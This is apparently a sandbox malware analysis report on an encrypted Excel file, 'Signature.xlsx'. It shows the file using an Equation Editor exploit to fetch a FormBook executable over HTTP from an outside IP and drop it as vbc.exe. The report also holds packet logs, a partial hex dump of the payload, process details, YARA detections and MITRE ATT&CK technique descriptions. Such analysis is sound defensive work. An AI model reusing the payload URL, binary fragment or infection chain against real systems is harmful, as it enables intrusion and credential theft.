Jan 27, 2021 20:03:03.337105989 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337127924 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337137938 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337152004 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337162971 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337172031 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337176085 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337198973 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337203026 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337220907 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337233067 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337235928 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337251902 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337264061 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.337275982 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.337301970 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.338032007 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.338921070 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380000114 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380055904 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380098104 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380100965 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380136967 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380140066 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380151987 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380177975 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380179882 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380217075 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380233049 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380253077 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380261898 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380295038 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380310059 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380333900 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380358934 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380382061 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380383968 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380434990 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380445004 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380486965 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380487919 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380528927 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380537987 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380567074 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380584002 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380605936 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380641937 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380666971 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380681992 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380705118 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380716085 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380753040 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380759001 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380795956 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380804062 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:03:03.380834103 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:03:03.380850077 CET	49165	80	192.168.2.22	18.194.54.219

HTTP Request Dependency Graph

18.194.54.219

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	18.194.54.219	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:03:03.212902069 CET	0	OUT	GET /wows/hm1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 18.194.54.219 Connection: Keep-Alive
Jan 27, 2021 20:03:03.254192114 CET	1	IN	HTTP/1.1 200 OK Date: Wed, 27 Jan 2021 19:02:53 GMT Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7 Last-Modified: Wed, 27 Jan 2021 13:44:17 GMT ETag: "9ac00-5b9e1f7b0f5e7" Accept-Ranges: bytes Content-Length: 633856 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 58 6d 11 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 a2 09 00 00 08 00 00 00 00 00 00 2e c1 09 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c0 09 00 57 00 00 00 00 e0 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a1 09 00 00 20 00 00 00 a2 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 06 00 00 00 e0 09 00 00 06 00 00 00 a4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0a 00 00 02 00 00 00 aa 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c1 09 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 7e 08 00 f0 41 01 00 03 00 00 00 01 00 00 06 ec 8e 02 00 f8 ef 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 23 00 00 00 00 00 00 00 2b 02 26 16 00 00 28 01 00 00 0a 28 02 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 03 00 00 0a 00 2a 00 01 10 00 00 02 00 05 00 0e 13 00 02 00 00 00 00 13 30 02 00 01 01 00 00 01 00 00 11 2b 02 26 16 00 38 e8 00 00 00 02 16 38 c7 00 00 00 00 2b 35 06 1f 56 61 0a 2b 1e 07 1f 60 61 0b 07 1f 53 59 45 04 00 00 00 05 00 00 00 10 00 00 00 17 00 00 00 4d 00 00 00 1f 35 0b 2b dd d0 01 00 00 06 26 1f 33 0b 2b d2 17 0a 1f 36 0b 2b cb 06 1f 4f 59 45 0a 00 00 00 07 00 00 00 0c 00 00 00 19 00 00 00 27 00 00 00 2f 00 00 00 37 00 00 00 45 00 00 00 4e 00 00 00 68 00 00 00 7f 00 00 00 1f 34 0b 2b 95 2b 8c 00 18 0a 2b 87 d0 03 00 00 06 26 1c 0a 38 7a ff ff ff 02 16 28 07 00 00 0a 19 0a 38 6c ff ff ff 00 1d 0a 38 64 ff ff ff 00 16 0a 38 5c ff ff ff 02 17 28 08 00 00 0a 1b 0a 38 4e ff ff ff 00 1f 0e 0a 38 45 ff ff ff 02 17 28 09 00 00 0a 2b 0a 28 0a 00 00 0a 38 2f ff ff ff 1a 0a 38 2b ff ff ff 02 16 28 0b 00 00 0a 2b 06 00 38 12 ff ff ff 1f 19 0a 38 14 ff ff ff 2a 00 00 00 13 30 02 00 aa 00 00 00 01 00 00 11 2b 02 26 16 00 00 2b 3e 06 1f 5c 61 0a 2b 0f 07 1f 5f 61 38 84 00 00 00 07 1f 5c 58 2b 58 1f 5c 28 e9 01 00 06 0b 2b e7 06 1f 5b 59 45 04 00 00 00 1e 00 00 00 23 00 00 00 53 00 00 00 68 00 00 00 1f fa 0b 2b Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELXm`P. @ @W H.text4 `.rsrc@@.reloc@BH~A0#+&(((o0+&88+5Va+`aSYEM5+&3+6+OYE'/7ENh4+++&8z(8l8d8\(8N8E(+(8/8+(+880+&+>\a+_a8\X+X\(+[YE#Sh+

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 152 Parent PID: 584

General

Start time:	20:02:51
Start date:	27/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fed0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXE PID: 2332 Parent PID: 584

General

Start time:	20:03:11
Start date:	27/01/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 2852 Parent PID: 2332

General

Start time:	20:03:12
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x210000
File size:	633856 bytes
MD5 hash:	BE84C387975B024F25DC96EC5F85F7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: vbc.exe PID: 2876 Parent PID: 2852

General

Start time:	20:03:13
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0x210000
File size:	633856 bytes
MD5 hash:	BE84C387975B024F25DC96EC5F85F7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: vbc.exe PID: 2468 Parent PID: 2852

General

Start time:	20:03:14
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0x210000
File size:	633856 bytes
MD5 hash:	BE84C387975B024F25DC96EC5F85F7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: vbc.exe PID: 2460 Parent PID: 2852

General

Start time:	20:03:14
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0x210000
File size:	633856 bytes
MD5 hash:	BE84C387975B024F25DC96EC5F85F7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: vbc.exe PID: 2424 Parent PID: 2852

General

Start time:	20:03:14
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0x210000
File size:	633856 bytes
MD5 hash:	BE84C387975B024F25DC96EC5F85F7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: vbc.exe PID: 2420 Parent PID: 2852

General

Start time:	20:03:15
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0x210000
File size:	633856 bytes
MD5 hash:	BE84C387975B024F25DC96EC5F85F7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Signature.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Signature.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2469416